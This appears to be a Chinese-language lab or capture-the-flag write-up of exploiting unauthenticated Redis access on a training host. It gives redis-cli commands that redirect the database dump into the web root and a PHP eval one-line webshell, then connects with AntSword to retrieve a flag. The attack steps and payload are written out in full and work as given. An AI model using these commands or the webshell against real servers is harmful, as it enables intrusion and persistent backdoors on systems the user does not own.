redis未授权访问漏洞复现

一,漏洞介绍

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器
漏洞的产生条件有以下两点:

(1) Redis绑定在6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二,漏洞复现

1,打开kali虚拟机,安装redis-cli远程连接工具
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
cp src/redis-cli /usr/bin/

2,测试目标网站

-h 目标url地址 -p redis端口号
redis-cli -h lqm2mltk.lab.aqlab.cn -p 6379

输入ping返回PONG则成功连通,输入info即可查看redis信息

3,利用config写webshell

写入目录地址config set dir /var/www/html

webshell文件名config set dbfilename aaa.php

写入一句话木马(写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行)
set webshell "\r\n\r\n<?php phpinfo();eval(@$_POST['ydop']);?>\r\n\r\n"

保存save退出exit

访问webshell地址,ok 成功

(ps:昨晚木马已经写入了,连接的时候突然有这个连接认证,网上搜了一堆资料还以为是我木马写错导致的,今天才知道原来是管理员弄得认证)账号密码:zkaq

4,使用webshell管理工具连接木马

访问webshell时会认证,输入正确的账号密码才能访问

抓包发现,关键字是这一串 Authorization,删除掉这个值则无法访问

我用的是中国蚁剑,因为添加请求头更方便

输入木马地址

输入cookie值,连接

终于

查找flag

没错,flag就在这里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

相关推荐
DemonAvenger1 分钟前
Redis集群架构详解:从单机到分布式的扩展之路
数据库·redis·性能优化
CHANG_THE_WORLD8 分钟前
Python 文件操作详解与代码示例
开发语言·数据库·python
TT哇10 分钟前
关闭外键约束检查
数据库·sql·oracle
卿雪11 分钟前
Redis 数据持久化:RDB和 AOF 有什么区别?
java·数据库·redis·python·mysql·缓存·golang
闲人编程21 分钟前
微服务API网关设计模式
python·缓存·微服务·设计模式·系统安全·api·codecapsule
计算机毕设MTU775723 分钟前
999+套计算机毕业设计——基于HTML5+CSS的图书馆借阅管理系统的设计与实现(含源码+部署教程+数据库)
数据库·spring boot·课程设计·借阅管理系统·图书馆
赖small强23 分钟前
【Linux 内存管理】Linux 低内存平台文件缓存导致的虚假内存不足问题分析与解决方案
linux·缓存·oom·水位线
2501_9167665426 分钟前
MySQL 数据库与 SQL 语言介绍
数据库·sql·mysql
羑悻的小杀马特33 分钟前
深入C++与Redis的异构之美:用redis-plus-plus优雅操控键值宇宙之通用命令版!
c++·redis
hakertop34 分钟前
如何基于C#读取.dot图论文件并和QuickGraph联动
数据库·c#·图论